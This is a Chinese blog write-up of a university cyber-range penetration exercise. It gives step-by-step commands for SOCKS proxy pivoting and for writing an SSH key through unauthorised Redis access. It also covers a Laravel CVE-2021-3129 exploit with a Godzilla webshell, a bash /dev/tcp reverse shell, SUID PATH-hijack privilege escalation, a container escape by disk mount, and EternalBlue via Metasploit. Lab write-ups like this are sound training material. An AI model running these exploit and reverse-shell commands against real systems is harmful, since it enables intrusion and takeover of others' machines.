DHU网络靶场攻击记录
已知:靶场入口10.199.227.xxx
不完整的网络拓扑图:
环境准备:kali/wsl-kali/虚拟机kali以及windows或其他操作系统的本机
工具准备:
- Fscan
- nmap
- laravel-CVE-2021-3129-EXP-main
- 哥斯拉
- Burpsuite
- msfconsole(主要)
目录
如何挂代理
首先可以下载一个stowaway到靶机和本机
然后在本机上执行
./linux_x64_admin -l 本机ip:任意端口 -s 123
在靶机上执行
./linux_x64_admin -c 本机ip:任意端口 -s 123 --reconnect 8
监听成功后回到本机
use 0
socks 127.0.0.1:12354 #端口看个人喜好
然后去修改proxychains.conf
sudo vim /etc/proxychains.conf
#进入界面后拉到最下面添加
socks5 127.0.0.1 12354
然后若想进行扫描则执行
proxychains nmap xxx.xxx.xxx.xx
若想在代理模式下进入msfconsole则执行
proxychains msfconsole
那么这是一层代理
若想挂第二层代理,由于在msfconsole里也可以挂代理,并且由于第二层代理后所有操作均在msfconsole上,因此不需要再修改proxychains.conf文件。
当然也可以在某台靶机上挂代理,这样或许可以不用挂多层代理
msfconsole挂代理具体步骤为:
监听端口
use exploit/multi/handler
set lhost 本机ip
set lport 端口
exploit -j
靶机上执行
bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"
进行持久化
回到msfconsole
use post/multi/manage/shell_to_meterpreter
set session 1
set lport 12345 #端口与上面不同
run
创建新会话
sessions -l
sessions -i 1
background
搭建代理
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 23333
run
至此搭建完成
当然也可以在windows下挂代理,有些时候还是会有用的,在靶机上新建一个用户后,设置好账号密码,在本机执行
假设用户名为user
ssh -L 1234:ip1:port1 user@ip2 #ip1,port1为你要通过靶机才能访问到的ip,ip2为靶机ip
然后输入密码登陆上去通过本机的1234端口就能访问了。
入口处机器攻击--redis未授权访问
首先使用fscan扫描端口。
main.exe -h 10.199.227.xxx -np
发现6379端口开着并且指出了未授权的文件夹,考虑是redis未授权访问漏洞。
打开kali,生成自己的公钥并将公钥写入靶机。
ssh-keygen -t rsa #生成自己的公钥
cd .ssh/ #进入.ssh目录
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt #将公钥写入key.txt
cat key.txt | redis-cli -h 10.199.227.xxx -x set xxx #xxx可以自己取任意名字
redis-cli -h 10.199.227.xxx #redis连接靶机
config set dir /root/.ssh #更改redis备份路径为ssh公钥存放目录(通过端口扫描可知为/root/.ssh)
config set dbfilename authorized_keys #设置上传公钥的备份文件名字为authorized_keys
config get dbfilename #检查是否更改成功
save #保存
exit #退出
ssh -i id_rsa [email protected] #在攻击机上使用ssh免密登录靶机
这样就获取到了第一台机器的shell。
第二台机器--laravel漏洞利用
在web1上进行端口扫描,发现该网段下有两台机器,一台有8000端口和22端口,挂上代理后在网页输入ip,可以看到laravel的界面,因此可以考虑laravel漏洞。
由于其有网页,可以考虑使用burpsuite抓包后修改状态清空日志文件再写入自己的木马后,再获取webshell,然后通过监听手段反弹shell之后将docker提权(非常的麻烦)。
而对于这个漏洞有更简单的打法,用laravel-CVE-2021-3129-EXP-main直接就能写入shell,github上可以直接搜到这个工具,下载下来后直接使用命令
python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:xxxx #端口自己选
然后使用哥斯拉连接获取webshell。github搜搜godzila,注意下载3.0以前的版本,不然会失败
注意这里的URL里面的端口和前面的端口要对应,我这里应该是1234而不是8080
测试连接成功后点击添加然后右键选择进入,就获取到了webshell,但这是一个docker容器,可以考虑把shell反弹到web1上进行提权操作后将web1的公钥写入这台机器上。
在web上监听端口,端口号任意
nc -lvv 1234
在webshell上执行反弹shell命令
bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"
获取到webshell之后查找高权限的文件,注意到home/jobs下有一个shell文件
find / -oerm -u=s -type f 2>/dev/null #由于权限低,所以将查找结果冲顶先到/dev/null
输出该文件可以发现其展示ps进程,因此可以利用环境变量进行提权。
在此界面进行以下操作
cd /home/jobs
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id
到这里已经是root权限了,为了后续的进攻,之前扫端口的时候这台机器有开着ssh端口,联系一下web1的攻击流程,可以像本机攻击web1那样,将web1的公钥写入web2。
查找可挂载目录,发现sda1可以挂载。
开始挂载
mkdir xxx #xxx自己取
chmod 777 xxx
mount /dev/sda1 xxx
确实有.ssh目录
然后在web1上执行以下命令
ssh-keygen -f xxx #xxx自己取,生成公钥
cat xxx.pub #将输出的内容自己复制到无格式文本(建议用记事本)
然后再回到web2
cp -avx xxx/home/ubuntu/.ssh/id_rsa.pub xxx/home/ubuntu/.ssh/authorized_keys #xxx是你自己之前挂载时取得目录名,avx是连同权限一起复制
echo > xxx/home/ubuntu/.ssh/authorized_keys #清空文件内容
echo '...' > xxx/home/ubuntu/.ssh/authorized_keys #...就是复制在记事本上的内容
然后再去web1
ssh -i xxx ubuntu@ip #xxx为公钥名称,ip为web2的ip
第三胎机器--OA漏洞/永恒之蓝
由于msf的永恒之蓝模块太好用了,所以我选择用永恒之蓝打这台
通过先前的扫描端口注意到这台的445端口开着,直接无脑用永恒之蓝
首先本机挂上web1的代理
正常步骤应该还要确认下是否真的存在永恒之蓝漏洞,也是用msf的模块,这个可以自行搜索一下。
proxychains msfconsole #在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp #用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run
一切正常的话直接就进去了。
第四台机器--还是永恒之蓝
在web2上继续扫描端口
发现依然是一台具有445端口的机器
那么在挂第一层代理的基础上再用同样的方式再挂一层代理,再使用永恒之蓝模块就能打进去了。
proxychains msfconsole #在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp #用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run
第五台机器
用第三台机器先获取域控账密后,然后利用ipc关闭第五台机器的防火墙,然后利用msf自带的psexec进行横向移动即可,但是因为靶场机器不稳定,一直没有打进去。
标签:攻防,set,ip,xxx,端口,shell,ssh,DHU,靶场 From: https://www.cnblogs.com/pang-bai/p/18169079